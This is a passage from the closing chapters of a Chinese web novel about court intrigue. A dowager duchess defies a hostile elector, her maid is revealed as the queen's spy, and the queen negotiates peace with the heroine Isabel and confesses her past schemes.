事关献祭少女的相关嫌疑犯都被移送法庭,路易莎证明埃德蒙的帮凶事实;亚当代替已故索菲娅供出她在其中的罪行;菲利普与格兰芬的勾结也浮出水面,王室继承人的声望毁于一旦。 到这里,众人才明白,原来公爵府所谓的克妻诅咒,根本就是多方联合的陷害。 而这一切的根源, 都始于当年的和平革命。 路德维希及其相关人等的叛国疑云再次被提及,洁希亚以及旧部军官数百人联合上诉,这次他们状告的不仅是教会,还有与教会利益勾结的贵族与王室! 在教会倒下的关键时刻, 这场状告像一把尖刀又刺向了另一端——想坐收渔翁之利的选帝侯利益集团和王室。 阴云笼罩墨伦维克,假装镇定的涉事者再也坐不住! 以萨克森为首的选帝侯集体上书女王,宣称斯宾塞公爵府蓄意抹黑,要求将主犯依法惩处。 可是当士兵包围查尔维斯庄园时,里面的人早就散得干干净净,只剩薇奥莱特夫人和她的女仆埃莉诺。 玛格丽特雕像依然伫立在湖心,旭日狮子旗帜迎风飘扬。面对萨克森的逼问,薇奥莱特夫人眼皮也没抬,大有挑衅之态,眼神似乎在说:有本事就把我这个老太婆杀了。 萨克森的确打算这么做——斯宾塞夫妻下山后就开始搅弄风雨,贵族们冷眼旁观,以为火烧不到自己的身上,没想到最后风暴中心竟然转移了!而女王那边……恐怕在得知海因里希背着她拥兵开始,就认定斯宾塞站在对立面。 有了女王的默许,即便他真的把眼前的老太太杀了又怎么样? 斯宾塞家的人都太傲了,弗雷德里克是这样,路德维希和海因里希也是这样,现在……连一个老太婆都用那副傲慢的神情看着自己,萨克森不由得怒火中烧。 他冷笑:“既然连你的亲孙子都不管你,那就别怪我无礼了,薇奥莱特夫人。” 薇奥莱特像是没听见他的话,看向埃莉诺手中的镜子,兀自整理胸针。 她看着镜子里的自己——鬓角雪白、满脸皱纹,只剩华丽的首饰闪闪发光,再也看不见年轻时意气风发的模样。 自从丈夫和儿子死后,她守着这座庄园苟活,弯下的腰再也没有直起来。什么都要顾虑,什么都要思量,似乎谁都能踩上一脚。 可是谁还记得,她曾是恩斯特家族的独女,是带着财富与骄傲嫁入斯宾塞家的公爵夫人。 海因里希没有抛弃她,是她主动选择留下的。 这座庄园承载着她和弗雷德里克的心血与荣耀,连孙子都豁出去了,她一个老太婆又有什么好怕的?真当她薇奥莱特·恩斯特是什么善茬?压着性子弯了这么久的腰,再忍下去,恐怕要忘了怎么直起来。 望着萨克森丑陋的嘴脸,薇奥莱特冷笑,血脉里的高傲与轻蔑再也无法克制。 “萨克森,你们家族能跻身选帝侯,还得感谢我代替恩斯特家族投出的一票。”她轻笑,“时间真是过去太久了,久得你忘了自己的父亲是怎么像条狗一样跪在我面前,给了一巴掌还要夸我打得好呢。” 萨克森脸色涨红:“你!你找死!” “有本事就杀了我!”薇奥莱特站起身,拐杖重重砸在地面,伴随着喝骂,“斯宾塞家族世代功勋,从玛格丽特开始就镇守锡兰中心数百年!你算个什么东西,也敢来我面前撒野?!想杀我,就当着所有人的面,把我的尸体从庄园大门抬出去!” 萨克森咬牙,刀锋出鞘:“你以为我不敢吗?!贵族,在座的谁不是贵族?你们斯宾塞早就落魄了,别拿历史书里的老故事吓唬人!” 薇奥莱特像是听到好笑的话,仰头笑了起来,又狠狠呸在他脸上。 “萨克森,凭你们也配自称贵族?披着华丽的皮毛耀武扬威,在城堡里吃喝享乐,或是摆弄着特权对底层生杀予夺,就以为自己是贵族了?”她冷笑,指着身后的旭日狮子旗帜,“睁大你们的狗眼看看,承袭爵位那一天的宣誓都忘了吗?!选帝侯当以守护一方和平,护佑民众安宁为己任!” “先祖九死一生获得的功勋,却被你们这群蛀虫挥霍!什么是贵族?贵族战时是挡在前面的刀,和平时是托底的盾!”薇奥莱特高举着拐杖,再次砸在地面发出巨响,“我的丈夫和儿子为国捐躯!我的孙子孙媳光明磊落,所作所为都是为了公平正义,今天你们为了利益勾连想杀我,尽管过来!百年以后,历史自有评说!而你们……将永远被钉在耻辱柱上,受万人唾骂!” 铿锵有力的喝骂振聋发聩,萨克森脸色阴寒到了极点。 “我现在就杀了你!” 他猛然抽出刀,狠狠劈向薇奥莱特! “老夫人!”埃莉诺几乎是同一时间冲上前,挡在薇奥莱特前面。 千钧一发之际,“砰”地一声枪响,萨克森的胳膊迸溅出血花,而后爆发痛呼:“啊啊啊!我的胳膊!” “所有人,不许动!”与此同时,维克托举着枪站在门口。 众人循声望去,彻底愣住。 维克托身后站着乌泱泱的一群人——他们不是披甲执锐的士兵,而是脸上燃烧着怒火的民众! 有的扛着锄头、有的举着棍棒、有的脚下沾着泥土……与士兵相比,民众们没有趁手的武器,但胜在人多,光凭着数量就足以吓退侍卫。 如果真的要打,有火器的侍卫未必没有胜算,可是……除开萨克森之外的贵族已经萌生退意。 薇奥莱特的那番话不是没有道理,民众冒着生命危险护佑斯宾塞家,这足以说明民心所向。 一旦今天这里出现血案,他们这群本就师出无名的贵族,恐怕更是如同过街老鼠人人喊打了。 薇奥莱特看着侍卫们终于离开,又看向维克托身后的民众,眼眶泛红。 她认得出来,这些人里很多都是查尔维斯庄园的佃户。在海因里希离开时,她就掏出所有积蓄分了出去,让他们在危险到来前快点走。 “谢谢大家。”薇奥莱特深深鞠了一躬。 佃户们赶忙扶起她,局促道:“夫人,这是我们应该做的,要说感谢,是我们该感谢斯宾塞家族。” 为首的佃农年纪很大,眼含热泪。 “二十年前有老公爵和路德维希上将,二十年后,又有海因里希公爵。斯宾塞家族为我们所做的一切,大家都看在眼里。帮助你们,就是帮我们自己。” - 消息传到肯特郡,海因里希得知查尔维斯庄园消弭的危机,沉默许久。 “你早就猜到佃农们会保护祖母吗?” 伊莎贝尔放下信件,摇摇头:“我安排了维克托带一队士兵潜伏在墨伦维克,见机行事。佃农是自发行动,我没有猜到。” 海因里希愣住。 伊莎贝尔微笑,握住他的手:“要感谢你自己、感谢你的祖父和父亲、感谢乔治安娜、感谢薇奥莱特夫人、感谢玛格丽特……” 眼看她嘴里的名字越往上数越多,海因里希失笑道:“我要感谢斯宾塞的族谱。” 没料到,伊莎贝尔当真点头道:“是的,你要感谢斯宾塞全族。” 灯光下,她摩挲着海因里希肩上的家族勋章:“是你们的奉献,换来了福音。” 她顿了顿,仰头微笑:“现在你还会为前路犹豫吗?” “我从不曾犹豫。”海因里希眸光微动,黝黑瞳孔里倒映着闪烁的烛火,“只不过……以前我是循着你的足迹,你去哪,我就去哪。其实这没有什么不好,你聪慧敏锐,跟着你走,大多有益于家族。” “可是现在……当我在墨菲斯雪山上看见父亲旧部们,我看见他们提到理想时泛红的眼睛,看见他们愿意为了早已熄灭的前路再次启程,我好像明白了父亲的信仰。”海因里希垂眸,掌心摩挲着旭日狮子勋章,顿了顿,轻声说,“我也找到了,真正属于我的意义。” —— 作者有话说:大概两三章完结,提前预告。 第111章【VIP】 第111章 查尔维斯庄园的风波消弭,紧跟着到访的宾客令薇奥莱特感到诧异。 是路易莎和霍华德侯爵府一家。 面对许久未见的前孙媳,薇奥莱特没有摆出从前的威严,反倒有些不自在。 “萨克森刚走, 你们敢踏足查尔维斯,恐怕要一起上黑名单了。”她语气硬邦邦。 “没什么好怕的。”路易莎走上前,接过埃莉诺手里的纱布,像从前那样蹲下身给老太太包扎,但脸上不再有虚假的讨好。 薇奥莱特没受严重的伤,只是太用力敲拐杖手腕扭了。 路易莎一边动作一边说:“是诺曼小姐写信请托我们关照您,其实即便她不说, 我们也会来。” 路易莎的父亲霍华德侯爵平静道:“现在整个墨伦维克都在排挤和斯宾塞家族相关的人, 即便路易莎已经和埃德蒙没有婚姻关系, 可是因为她出庭作证, 我们仍然被外界视为与斯宾塞一体。” 言外之意,虽然不太想帮,但是不得不帮。既然决定要帮,那就别把关系弄太僵,顺着伊莎贝尔那封信卖个面子,大家一起上同一艘船。 薇奥莱特眸光微动, 很快便明白,萨克森党羽太过蛮横的手段, 已经让霍华德侯爵府这部分人群被迫倒戈。 接下来的几天,果然陆续有人上门——辛西娅夫人、墙头草文森特、还有五个贵族未婚妻的家族等等。 他们目的不尽相同, 但是造成的结果一致——总之,查尔维斯庄园来往宾客多起来,莫名恢复从前的声势。 萨克森他们也清楚,现在斯宾塞周围的人已经抱团了,自己失去了最佳的动手时机。在这场政治斗争尘埃落定前,谁也不敢再动薇奥莱特,哪怕只有她一个人。 薇奥莱特也逐渐回过味,她猜想,这恐怕也是算无遗策的孙媳妇,敢抛下老太婆远走肯特郡的缘故。 北方肯特郡那边,工人运动如火如荼,没有人不信服最先同意福利制度的怀特家族;资本家们更是不用说,现在教会都被斯宾塞干倒了,是个傻子都知道投靠谁。 也就是说,整个北方的舆论都支撑斯宾塞家,可以说那里是公爵党的大本营。 而薇奥莱特坐镇的南方,舆论也随着形势发生变化, 在普通民众心里,斯宾塞家族行得端坐得正,虽然公爵夫妇被迫北上,但老夫人却还坐镇庄园,这足以证明他们的坦荡。 在民心这一块,南北两方开始统一,渐渐倒向公爵阵营。 当然,在政治家眼里,民心可以由胜利方改写,可现在最棘手的是,海因里希手里有兵。 王室议政厅里,女王和内阁大臣已经熬了几个晚上,都在为眼前的局面心焦。 路德维希的旧部数量不算多,真要硬碰硬,王室的胜算还是大的。可军政大臣最知道海因里希的作战水平,没有十足的把握,谁敢提出兵? 就算他们一鼓作气想跟对面打,可公爵阵营那边有个厉害的“军师”,她压根没想打仗,下山后就直奔肯特郡,在墨伦维克反应过来之前,就切断了铁路和一切贸易通讯——是的,他们那边还有个该死的资本家垄断了铁路! 北方靠海,有成熟的港口和资源,哪怕和南方隔离一辈子也足够自给自足!反观南方,虽然拥有大片肥沃的土壤,可是都标上了各个贵族的名号,要是再失去贸易,普通民众压根吃不饱饭! 曾经高高在上的南方贵族们都意识到了危机降临,他们可没本钱和北方对峙!最重要的是,底层民众已经开始反抗! 最先遭殃的是乡绅们,而后是小贵族,承受不了压力的小贵族只能向上求援,可墨伦维克的上层自己都焦头烂额,这下小贵族们知道没有指望,干脆也联合起来对抗。 锡兰彻底乱了,军政大臣再也没有顾忌,向女王请命出兵北方! 现在所有的矛盾都是公爵阵营引起的,只要灭了他们,一切矛盾迎刃而解。 以萨克森为首的选帝侯当然支持,虽然底层开始闹,可上层却没损失太多。他们手里捏着大把的资源,要是能打败北方,还能发笔战争财,顺便瓜分从前一直被教会霸占的工业区! 总之,在各方的图谋之下,圣曜节前夕,一封战书登上报纸头条,同时送往北方那位“军师”的案头。 很快,那边有了答复,非常简短——要打就打,随时恭候。 王室议政厅里,所有人沉默,萨克森脸色铁青,军政大臣暴跳如雷,只有女王喜怒不变。 她看着那封信,仿佛与执笔人隔空对望。 是的,他们的揣测又落空了。 最开始,军政大臣们以为伊莎贝尔不敢打,所以才退避北方。 对峙的半年里,双方都在耗时间,打舆论战。所以萨克森他们才觉得可以冒险一试。 可现在,对方这么干脆的回复,简直令所有人始料不及。 大厅上,大臣们七嘴八舌,有的猜伊莎贝尔虚张声势,有的主张撕破脸,彻底把南方的斯宾塞党羽抓起来做人质…… 女王听着这些杂音,始终没有回复。 她又打开那封信,似乎在模拟对方的思考。第六感告诉她——伊莎贝尔没有虚张声势。 伊莎贝尔当初退避北方不想打仗是真的;现在用了半年时间养精蓄锐,将北方彻底控制在手也是真的。 甚至某种层面上来说,打仗才能让整个锡兰彻底洗牌。 女王闭上眼,摩挲着王座,轻叹一口气。 到时候,这个位置恐怕都得换人坐。 玛格丽特的历史,又将重演。 良久,女王缓缓睁眼,平静道:“洛娜。” 洛娜:“在。” “拟一封求和信,登报通知北方,王室愿意和平谈判。” “谈判?!”众人惊讶抬眸。 - “和平谈判?” 查尔维斯庄园,薇奥莱特皱眉看着女王使者洛娜。 “是的。”洛娜面无表情。 自从被挟持着带下山,又被放回墨伦维克开始,洛娜就明白伊莎贝尔是个厉害的人物。她根本不怕洛娜报信,甚至不怕女王。应该说,伊莎贝尔从一开始做好准备,清算完教会就收拾王室。 所以王室举起白旗求和的结果,显而易见。 “为了表示诚意,女王想请查尔维斯庄园派人前去北方送信。”洛娜说,“这样既能让公爵夫妇看见你们安然无恙,又能相信女王是真的想和谈。” 这个理由无法反驳,现在人人都想去北方,王室也不至于在这里埋坑,真要动斯宾塞家的人,恐怕女王名声就彻底毁了。 薇奥莱特沉默片刻,还没说话,就听路易莎开口道:“我可以去。” 路易莎在众人的目光里站出来,微笑道:“查尔维斯庄园除了老夫人,已经派不出其他人,如果老夫人走,一定会引发各种舆论猜测。我想我可以代替她送信。” “最重要的是,我想再和诺曼小姐见一面。”路易莎垂眸,“让她看看我的改变。” 话已至此,薇奥莱特不再多言,拍了拍路易莎的手。 洛娜也没有意见:“那就辛苦你了,霍华德小姐,车队明天启程。” 她嘱咐完就要离开,却被薇奥莱特叫住。 “等等,洛娜秘书。”老太太忽然看向埃莉诺:“还可以加个人吗?加上我的女仆,让她陪同路易莎一起去。” 埃莉诺倏然一愣,对上薇奥莱特深沉的双眼。 “女仆?”洛娜皱眉。 “埃莉诺是我的贴身女仆,跟了我许多年,我的孩子也将她当成长辈。她在北方有亲眷,这么多年,也该见上一面了。”薇奥莱特拉过埃莉诺的手,后者下意识瑟缩,却被老夫人攥紧。 “好。”洛娜爽快同意,带着人离开。 大厅里,只剩薇奥莱特和埃莉诺以及路易莎三人。 路易莎这段时间与查尔维斯走动频繁。从前她和埃莉诺一起生活那么久,却没听说这个不苟言笑的女仆在北方有亲人。 她疑惑地抬眸,正好看见埃莉诺苍白的脸色——像是某个秘密被发现后的慌张。 薇奥莱特紧攥着埃莉诺的手——上面有条新鲜的伤疤,是萨克森拔刀时,她为了护住薇奥莱特留下的。 薇奥莱特目光平静,避开那道伤疤,视线往上。 手背处,被衣袖遮住的地方,一块月牙形的胎记在灯光下格外惹眼。 埃莉诺下意识抽回手,似乎这快胎记蕴藏着不可见人的秘密。 一旁的路易莎目光惊讶,某段记忆忽然浮现脑海—— 月牙形胎记? ! 当初她目睹了埃德蒙和一个陌生女人做交易,她以为是索菲娅,于是向伊莎贝尔报信,而那个女人手上正是有这样的胎记! 难道……埃莉诺是…… 路易莎瞪大眼睛,不等她猜测,就见薇奥莱特目光平静,轻声道:“埃莉诺,你是女王的人吧?” 埃莉诺神色一僵。 薇奥莱特轻笑:“乔治安娜到斯宾塞家的那一年,你成为了我的贴身女仆。我早该想到,天底下哪有那么巧合的事,又哪里有处处让我顺心的人。” “我一直奇怪,女王在所有故事里到底充当什么角色,她每次都打着维护斯宾塞的名号,而最后却是我们一退再退,王室毫发无损。”薇奥莱特缓缓道,“我还奇怪,自从五年前出事后,查尔维斯防范得那么严,难道光凭索菲娅就能畅通无阻吗?” “海因婚礼那天突然发病,换药的只是几个替罪羊,真正的凶手是你吧?”薇奥莱特盯着埃莉诺,在对方苍白的神色里,眼神暗沉,“女王应该还给你下达了最后的指令……杀了我,对吗?” 埃莉诺嘴唇颤抖,终于闭上眼,像是放弃抵抗,“是的……我从一开始,就是塞拉菲娜陛下派来的人……做的一切我都认,您尽管处置。” 薇奥莱特盯着她,久久没有说话。 良久,她忽然叹了口气:“可你终究没有执行最后这道指令。” 埃莉诺眸光微顿。 薇奥莱特眼神夹杂着诸多情绪,最终却挂着苦涩的微笑:“我老了,什么事情没见过?人生在世,没有非黑即白,都是立场决定的。” “我记你的仇,也记你的好。但没资格替被伤害的人原谅你。” “去吧,去北方见你姐姐一面。”薇奥莱特垂眸,望着窗外枯黄的树叶,“最后一个圣曜节,好好度过吧。” 埃莉诺死死咬着牙,挺着脊背走出庭院。 她伸出手,接住查尔维斯的落叶,回头深深鞠了一躬。 “天冷了,您记得把衣橱里的厚狐皮披风拿出来穿。” 浅淡的话音随风飘远,仿佛只是一场再寻常不过的远行。 —— 作者有话说:月牙胎记前面出现过的,埃莉诺把药瓶给埃德蒙,小儿科宅斗那里。 34章,43章魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第112章【VIP】 几番周折, 女王送信的车队终于在圣曜节当天抵达肯特郡。 温斯顿庄园。 阳光透过落地窗,照着屋内的埃莉诺,她正与坐在对面的女人相拥而泣。 窗外,路易莎收回视线,眼神复杂地看着伊莎贝尔。 “原来你们从伽蓝圣殿带回来的瞎眼修女就是埃莉诺的姐姐,你是怎么发现异样的?” 伊莎贝尔举着剪刀修剪窗台的花枝:“我没有发现,是贝丽主动问我,有没有她妹妹的下落。” “当年贝丽与埃莉诺两姐妹一起进入王宫,分别成为两个公主的侍女。贝丽跟随乔治安娜去往伽蓝圣殿后,就再也没有下过山,只让自己收养的女儿跟着乔治安娜去往公爵府。一别二十多年,再见却是阴阳相隔。” “女儿在那场阴谋里死亡,乔治安娜死里逃生却要隐姓埋名复仇,现在乔治安娜的心愿达成也离开了人世,就剩贝丽孤零零的一个人活着。所以,她想找到失散多年的妹妹。”伊莎贝尔顿了顿,眼神难得带着几分怅惘, “我查过女王的近侍,服侍最久的不超过十年,没有符合条件的。直到贝丽提供了关于她妹妹的特征……” 路易莎抬眸,很快反应过来:“那块月牙形胎记。” “是的,我去信给薇奥莱特,她发现了端倪,揪出了埃莉诺。”伊莎贝尔顿了顿,目光平静,“如果她们的情谊并不深厚,或是贝丽没有执着寻找她的妹妹,也许这桩秘密会永远埋藏在地底。” 路易莎轻轻叹气。 屋子里,刚重逢的姐妹似乎已经预料了别离。 贝丽颤抖着手抚摸埃莉诺的脸,埃莉诺望着贝丽残缺的眼睛和舌头,无声流泪。 伊莎贝尔看着这一幕,许久没有说话。 姐妹俩上一次见面,彼此还青春年少。这么多年,她们靠着少时的美好记忆挨过一个又一个的难关。 当贝丽在伽蓝圣殿的黑夜里清扫着焚化炉,仰头看看月亮,心里也许正庆幸妹妹留在女王身边过着好日子。 当埃莉诺站在洗手池边,用力清洗血污却怎么也洗不干净愧疚与恐惧时,她只能靠着从女王那里得到一星半点姐姐的消息聊以慰藉。 伊莎贝尔也曾奇怪,西里尔怎么会留下贝丽,还留了这么久。固然其中有念着乔治安娜旧情的缘故,再想想,恐怕这是女王用来控制埃莉诺的把柄。她与西里尔的渊源,远不止那么简单。 “所以……你打算怎么处置埃莉诺?”路易莎忽然问。 “交给法律。” 伊莎贝尔不是轻易动恻隐之心的人,只是在看着姐妹相处时,某一瞬间会理解埃莉诺做出的选择。 那是相依为命的亲人……从前她不明白那是什么情感,可现在却渐渐能体会,那颗付出一切只想对方安稳的心。 但情是情,理是理…… 不远处,奥黛丽和艾米丽在花园里说说笑笑,不知谈到什么,笑得差点从秋千上栽下来。 伊莎贝尔收回带笑的视线,沉默片刻,淡淡道,“北部已经组成了临时政府与临时议院,上个月通过了第一部完整的法案。法律会给予最公正的裁决。” “政府?议院?你难道……你难道要……” 后半句不敢说出口——你难道要取代女王? 在路易莎诧异的眸光中,伊莎贝尔剪断枝丫,仰头看着天空。 今年的圣曜节还没开始下雪,万里无云,是个暖冬。 路易莎还没有从震惊的情绪中缓过来,她跟随伊莎贝尔的视线仰头望天,嗓音干涩道:“我必须提醒你。女王能在斯宾塞公爵府埋下这么深的钉子,这次和谈怕是也没那么简单。” “我知道。”伊莎贝尔神情平静。 忽然,天空飘落一片雪花。 她伸出手,雪花在掌心融化,冰冰凉凉。 初雪已至,圣曜节后,一场史无前例的和谈行动拉开帷幕- 从女王的和谈信抵达肯特郡开始,报纸铺天盖地报道这个消息,日期将近,全锡兰的目光都聚焦在此。 为表诚意,女王塞拉菲娜亲自前往北方,连和谈地点都定在伊莎贝尔的大本营,哈登菲尔德。 此举大获反战人士的好评,女王因此恢复些许声望。 伊莎贝尔这边如果没有意外,当然也愿意和谈,不过具体还要看双方提出的条款。 出发前,赫尔曼带领临时政府的成员拟出许多方案,供伊莎贝尔参考。 是的,新的临时政府全部从民众中选出,由各个行业的代表组成。伊莎贝尔虽然没有头衔,但在这个月里暂时负责决策。 而海因里希则是毫无疑问的“军政大臣”,说什么都要带着人跟随伊莎贝尔去谈判地。 伊莎贝尔并没有拒绝,反而大手一挥,让文化科研行业的代表洁希亚与奥黛丽等人一起去。 到最后,几乎组成浩浩荡荡的队伍出发。 十点整,哈登菲尔德市政大厅里,女王的仪仗队目瞪口呆地看着远处汹涌的人潮。 工人农民挥舞着旗帜,簇拥着伊莎贝尔出现。 身旁西装革履的资本家拿着厚厚的文件,做足了谈判的准备。 女王在二楼注目良久,直到与伊莎贝尔隔空对望。 她们见面的次数其实很少。 宴会厅的初见,塞拉菲娜以为这个女孩只是才艺过人,大概和贵族夫人们一样,永远也上不了二楼的议会厅。 后来,这个女孩在赛场上力压一众男人,获得冠军。那时,塞拉菲娜恍惚间看见了自己年轻时的影子。 可是她怎么也不会想到,伊莎贝尔会在短时间里站得这么高,甚至能登上台阶,和自己并肩而立。 塞拉菲娜盯着那双冰蓝色的眼睛,心里想,真是奇妙。 她努力了几十年登上的高台,却是这个女孩不费吹灰之力达成的目标。 众人目光之下,她压下心内的情绪,微笑伸出手,与伊莎贝尔礼貌交握。 “幸会,诺曼小姐。” “幸会,女王陛下。”伊莎贝尔颔首,向初见时一样,不卑不亢地行礼。 人群里,第一排的记者笔尖刷刷记录。画师也将让这一幕登上报纸头条,载入锡兰历史。 …… 谈判厅里,双方唇枪舌剑,你来我往,会议从上午持续到傍晚。 高强度的谈判里,说来说去无非是同一个内容。 伊莎贝尔方主张成立新的体制,王室贵族退出历史舞台,将权力让渡给民众代表。具体的议院内阁选举等等制度,由负责拟定相关条例的官员阐述细节…… 而女王方不肯被架空,当然据理力争…… 双方智囊团谁也说服不了谁,这涉及利益的划分,往大了说,是时代的变革。 其实大家心知肚明,历史上没有哪次大洗牌不伴随着战争。伊莎贝尔方毫不退让,也是做好了谈判破裂的准备。 而女王方,如果连打都不打,就缴械投降,没有人会甘心。哪怕女王愿意,恐怕萨克森为首的贵族第一个就要闹事。 夕阳西下,议政厅陷入短暂的沉寂。 伊莎贝尔看着窗外,而女王垂眸,不知在思索什么。 谈到这一步,就看两方头脑的意见。 赫尔曼收拾起文件,闭口不语。海因里希盯着对面,直接将火器搁在桌面,意思不言而喻。 双方陷入僵持,直到女王忽然开口:“诸位,请让我和诺曼小姐单独谈一会儿,好吗?” 海因里希警惕地看着塞拉菲娜,在得知埃莉诺是间谍后,他对姨妈的尊重早就消失殆尽。 可是伊莎贝尔却按住海因里希的手,点头道:“好。” 冰蓝色的眼睛古井无波,似乎早就等待女王的这个请求。 “有事叫我。”海因里希站起身,蹙眉叮嘱,“我们就在外面等。” “嗯,放心吧。”伊莎贝尔微笑。 所有人退出宴会厅,很快只剩塞拉菲娜和伊莎贝尔相对而坐。 沉默许久,是女王先打破安静。 “看来萨克森和军政大臣都预估错了,海因不像他的父亲,他并不厌倦战争。” 伊莎贝尔垂眸:“是你想像当年那样,利用心理博弈不费吹灰之力获胜。” 女王轻笑:“可我这次要输了,无论怎么选,都是输。” 同意和谈,那就彻底成为失权的吉祥物;不同意,真的打起来,也不过是晚一点时间接受失败。 塞拉菲娜比那些贵族看得更远。 时代的车轮,谁也挡不住。 可惜看得清,却无法阻止脚下的王座坍塌。 塞拉菲娜望着落下的夕阳,长长叹了口气。 命运没有像选中西里尔那样选中她,所以即便努力站在王权的巅峰,也不过踮起脚触碰落日的余晖,再随着时代沉沦。 良久,她看向伊莎贝尔,问出一句毫不相干的话。 “选择西里尔的神,现在又降临到了你的身上吗?” 伊莎贝尔抬眸,短暂而漫长的审视后,她淡淡道:“是的。” “真好。”塞拉菲娜怅然一笑,伸出手触碰橘红的光芒。 记忆仿佛回到很久以前,她从乔治安娜的信件里得知西里尔的非凡。 那时,野心的种子开始生根。 年轻的塞拉菲娜也是这样看着天边的残阳,心想,时代的神迹可以降临在她的身上吗? —— 作者有话说:还有一章,但是很晚。老规矩,大家别熬夜,明天起床看魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第113章【完结】 “我还在想,你要什么时候摊牌。”伊莎贝尔看着她,“这场和谈本就没有意义,因为你们早晚都得妥协。你真正的目的,就是问出刚才那句话吧。” 塞拉菲娜轻笑,“你以为我会设下陷阱, 威胁你说出神的秘密?” “难道你不会吗?”伊莎贝尔微笑, 眼神仿佛看穿对方的心事。 塞拉菲娜沉默数秒, 自嘲一笑:“你猜对了。” “我是想过采用低级的手段胁迫你,也许那样我能赌赢一丝希望,让神选择我。可现在……”塞拉菲娜无奈摇头,将腰间藏起的火器拿了出来,将子弹一颗一颗拆卸, “我庆幸自己打消了这个念头。” “你的答案告诉我,原来这个世界真的有造物主的存在,人类竭尽全力的一生,敌不过祂轻飘飘的抉择。”塞拉菲娜听着子弹砸在桌面的清脆声响,眼神里的火焰渐渐熄灭,最后只剩寂寥。 伊莎贝尔接住一枚顺着桌面滑落的子弹,忽然问:“因为造物主没有选择你,所以你决定放弃?” 塞拉菲娜抬眸,平静微笑:“不是放弃,是认命。” “第一次,当我知道西里尔是被选中的非凡者, 除了羡慕,更多的是不甘。也许是因为年轻,总觉得可以战胜命运。”塞拉菲娜深吸一口气,眸光闪烁, 似乎回到久远之前,“你应该知道吧,曾经的锡兰王室并不光彩。” 伊莎贝尔默认这个说法。 上一任国王荒淫无度,穷奢极欲。却又因为晚年没有能力管束诸多私生子女,最后导致宫廷大乱,王室成员为了继承权自相残杀。 而其中的胜利者,却是长女塞拉菲娜。 “百年以后,历史书或许会为我润色,将我写成纯净无暇的幸运儿,只是恰好在兄弟姐妹死去的时候赢得继承权。”塞拉菲娜微笑,“所以不会有人知道,登基前夜,王宫的地砖都被我手足们的鲜血染红,至今无法清除。” “这一路上,我杀了很多人,可没什么好愧疚的,登顶之路从来如此,不是他们死,那就是我死。”塞拉菲娜平静道,“他们从不把未出嫁的公主放在竞争者的行列,似乎在他们眼里,没有夫家的助力,就算拥有王室血脉也无法成为威胁。” 她的脸上浮现年轻时的高傲,好像回想起某段闪光的岁月,“他们忘了,我是怎样在赛马场上赢过所有人。我嬴了一次,就能赢第二次,我能将他们所有人都踩在脚底,我会站在权力的巅峰,我会代替那些蠢货成为这个国家的王。而我……通通做到了。” 她一口气说完,最后轻轻喘息着,眸光闪烁着异样的神采。 从骄傲到满足、渐渐地化为说不清的茫然。 “可是有什么用呢?我不是神选中的人。”她惨然轻笑,“我奋力爬上了山顶,却见证了王国的黄昏。” “年轻时,我还能在心底暗暗和西里尔较劲。”塞拉菲娜说,“那时的我想不通,他有什么独特之处吗?甚至连乔治安娜都为他倾心,可他在我眼里不过是个愚蠢自大的男人。” “你看透了西里尔的本质,却没有告诉乔治安娜。”伊莎贝尔抬眸,“你明明知道,受敬仰的姐姐提出的建议,妹妹一定会听取。” “是啊,我没有提醒她。”塞拉菲娜沉默,眸光悠远,“因为我发现,他们的感情羁绊越深,我才能从中获利。” “我需要搭建和教会联系的桥梁,乔治安娜是我最大的筹码。谁能比我清楚呢?这个姑娘多么天真愚蠢。被教会选中的人质是我,她却傻兮兮地代替我,只为了偿还几块面包的恩情。” 塞拉菲娜平静地说完这些话,却停顿很久,似乎需要克制极大的情绪。 “这样的傻姑娘,很容易付出真心,很容易被骗,也很招人喜欢。她去伽蓝圣殿的那一天我就知道,没人不喜欢她。西里尔是这样,路德维希也是这样。”塞拉菲娜扯开一丝疲惫的笑,“我把他们的情感波折都看在眼里,可偏偏什么也没说。” “西里尔知道,这个傻姑娘只对我言听计从。所以他决定助我登基,代价是促成乔治安娜去公爵府联姻。”塞拉菲娜平静道,“从那天起,我就猜到,西里尔一定会后悔,可是这和我又有什么关系?” “他所有的怒火都只会扑向路德维希。斯宾塞家的荣耀太盛,路德维希递交的法案和今天你主张的异曲同工,一旦施行,那么现在结果就会提前几十年。”塞拉菲娜深吸一口气,闭上眼,“那个时候的我,才刚刚登基,我接受不了这样的结果。所以不如顺着西里尔的意思,慢慢蚕食斯宾塞家族。” “你没有料到,乔治安娜和路德维希产生了感情。”伊莎贝尔说。 塞拉菲娜顿了顿,苦笑,“意料之外,也在情理之中。说实话,如果命运之神选中的是路德维希,我不会如此不甘心。他走在时代之前,像你一样,令我不得不服气,所以乔治安娜喜欢上他,至少比喜欢西里尔要顺其自然。” “我第一次知道乔治安娜动心,是海因出生那天。她试探我的口风,说想和路德维希过平静的生活,愿意主动向西里尔求和。”塞拉菲娜顿了顿,眼神平静,“那时唯一一次,我想过成全他们。” “可是西里尔的圈套已经布下,甚至已经分割好了利益,无数人等着斯宾塞家族倒下。”塞拉菲娜垂眸,嗤笑,“我帮不了,也不能帮。” “所以你眼睁睁看着帝国双壁身死,看着斯宾塞家族内乱,甚至指使埃莉诺协助索菲娅对海因下毒,控制他的崛起。”伊莎贝尔一字一顿,眸光锐利,“你充当西里尔的幕后帮凶,监视着斯宾塞家的一切,还利用贝丽掌握了伽蓝圣殿的消息,那么……你怎么会不知道,乔治安娜在五年前的那场爆炸里,没有死亡呢?” 塞拉菲娜垂眸,良久才轻笑一声。 “是啊,我知道她没死。在那个血肉模糊的现场,西里尔认不出的人,我认得出。” “你为什么一直没透露给西里尔?” 塞拉菲娜自嘲地笑道:“当然因为我是个彻头彻尾的利益至上者。我说了,我对任何人都不感到愧疚,更不会有什么无谓的恻隐之心。” “不告诉西里尔,是因为我知道乔治安娜会是埋伏在他身边的刀。你以为我和教会的同盟多么牢固吗?二十年前我们可以联合对付公爵府,二十年后,我就可以利用你们对付教会。你看,事情的确朝我预料的方向发展,压在帝国头顶的神塔终于倒了……” 塞拉菲娜恍惚地看着窗外。 “可是,神塔倒了,太阳也落山了。” 她轻声问,“回到最开始说的,我其实很庆幸你证实神的存在。” “至少这让我释然,不是我没有尽力攀登,是神写好了我的失败。” 窗台边,一只蝴蝶停留在玻璃窗外,挥动着翅膀往里钻,却怎么也穿不透这道透明的墙。 它是不是也在想,已经竭尽全力站在最高峰,为什么无法突破命运的限制? 蝴蝶看不透那道透明的窗,就像她挣不脱造物主的棋盘。 